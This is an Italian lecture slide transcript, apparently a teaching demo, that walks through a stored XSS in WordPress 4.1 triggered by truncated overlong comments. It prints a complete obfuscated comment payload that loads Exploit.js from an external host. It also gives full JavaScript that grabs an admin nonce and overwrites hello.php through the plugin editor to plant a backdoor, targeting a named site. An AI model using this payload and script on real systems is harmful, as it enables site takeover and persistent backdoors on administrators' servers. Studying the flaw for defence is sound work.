hacking in action - 1
TRANSCRIPT
VULNERABILITÀ in WordPress 4.1
La versione 4.1 di WordPress contiene una grave vulnerabilità di tipo Storage XSS
◦ XSS: Cross Site Scripting
Esecuzione di uno script (per es. Javascript) sul computer del visitatore per il tramite di un sito “pulito”
◦ Stored XSS
Lo script maligno viene in qualche modo incorporato nel sito stesso
VULNERABILITÀ in WordPress 4.1
La dimensione massima di un commento a un post è pari a 64kB
Se un commento è più lungo, viene troncato prima di essere memorizzato nel database
Se il commento è scritto in HTML, l’operazione di troncamento porta alla creazione di una stringa HTML non corretta.
È possibile in questo modo far sì che ad ogni visualizzazione del commento venga eseguito dal client uno script maligno.
VULNERABILITÀ in WordPress 4.1
Il commento maligno:
<a title='xxx onmouseover=eval(unescape(/var%20a%3Ddocument.createElement%28%27script%27%29%3Ba.setAttribute%28%27src%27%2C%27http%3A%2F%2Fsitomaligno.altervista.org%2FExploit.js%27%29%3Bdocument.head.appendChild%28a%29/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAA [Almeno 65000 caratteri] AAAAAAAAAAAAAAA'></a>
VULNERABILITÀ in WordPress 4.1
Lo script risultante
var a.document.createElement(‘script’);
a.setAttribute(‘src’,
’http://sitomaligno.altervista.org/Exploit.js’);
document.head.appendChild(a)
Viene aggiunto nella sezione head della pagina Wordpress un riferimento ◦ sitomaligno.altervista.org
◦ Exploit.js
VULNERABILITÀ in WordPress 4.1
Quando viene eseguito lo script? ◦ Quando il mouse ci finisce sopra.
◦ Sembra un po’ difficile…
Rendiamo il link un po’ più grosso
position:absolute;
left:0;
top:0;
width:5000px;
height:5000px
Occupa tutto lo schermo!
Vediamola in azione
Usiamo uno script semplice e innocuo: ◦ window.alert(“Eccomi”);
Guarda su YouTube
Quando lo script viene eseguito dall’amministratore del blog, possiede tutti i privilegi di accesso ai file e di esecuzione delle operazioni amministrative!
Inserimento di una backdoor
Proviamo una cosa meno innocua ◦ Carichiamo un file sul server che gestisce il blog
Ogni installazione di WordPress contiene un file di prova ◦ hello.php
◦ Contiene semplicemente il testo della canzone Hello Dolly
◦ Sostanzialmente è un plugin dimostrativo
Sostituiamo questo file con uno script prodotto da noi e potenzialmente maligno ◦ <?php echo 'Il sito maligno ha colpito!'; ?>
◦ Potremo eseguire questo script da remoto!
Inserimento di una backdoor
Come facciamo? ◦ Modifichiamo il file Exploit.js
Mandiamo una richiesta POST all’editor dei plugin di WordPress, ordinandogli di aggiornare il file hello.php ◦ In pratica lo sostituiamo con il nostro script maligno
◦ Diventa la nostra backdoor
Problema ◦ Wordpress genera un codice, detto NONCE, inserito in
ogni form del blog
◦ Il server web convalida solo le richieste POST che contengono un NONCE valido
◦ In linea di massima ad ogni richiesta di pagina viene generato un NONCE diverso
Inserimento di una backdoor
Come otteniamo un NONCE valido per la nostra richiesta POST? ◦ Inviamo al blog una richiesta GET di visualizzazione
del file hello.php La risposta alla richiesta GET conterrà un form per la modifica
del file stesso
Questo form conterrà un NONCE valido
Il NONCE valido verrà inserito in una richiesta POST per l’aggiornamento del file hello.php ◦ Wordpress riconoscerà il NONCE appena generato e
autorizzerà l’aggiornamento del file
Tutto questo si svolge quando l’amministratore visualizza il nostro commento maligno
Inserimento di una backdoor Ecco lo script - Parte 1
// Funzione che effettua una richiesta GET HTTPS
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( null );
return xmlHttp.responseText;
}
// Funzione che effettua una richiesta POST HTTPS
function httpPost(theUrl,theParameters)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( theParameters );
return xmlHttp.responseText;
}
Inserimento di una backdoor Ecco lo script - Parte 2
// Richiesta del file hello.php (sempre presente nelle installazioni WordPress)
var hello = httpGet("http://wordpress.promomaremma.net/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php");
// Ricerca di un nonce valido
var nonce_pos = hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22"));
var nonce = hello.substr(nonce_pos+23,10);
// Costruzione dei parametri della richiesta POST con il nonce appena ottenuto
// Costruzione dei parametri della richiesta POST con il nonce appena ottenuto
var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" + escape("/wp-admin/plugin-editor.php") + "&newcontent= " + escape("<?php echo 'Il sito maligno ha colpito!'; ?>") + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&doc-list=&submit=Aggiorna+file";
// Modifica del file hello.php con il contenuto maligno
httpPost("http://wordpress.promomaremma.net/wp-admin/plugin-editor.php",parameters);
Vediamola in azione
Notare come tutto venga eseguito dall’amministratore a sua insaputo ◦ Diversamente non funzionerebbe
Guarda su YouTube
Questa falla di sicurezza è stata scoperta nella versione 3.9.3 di Wordpress
È stata corretta a partire dalla versione 4.2.1 ◦ In realtà le versioni superiori alle 4.1.2 non sono risultate
vulnerabili, ma la 4.2 sì.
Per il nostro test abbiamo utilizzato la versione 4.1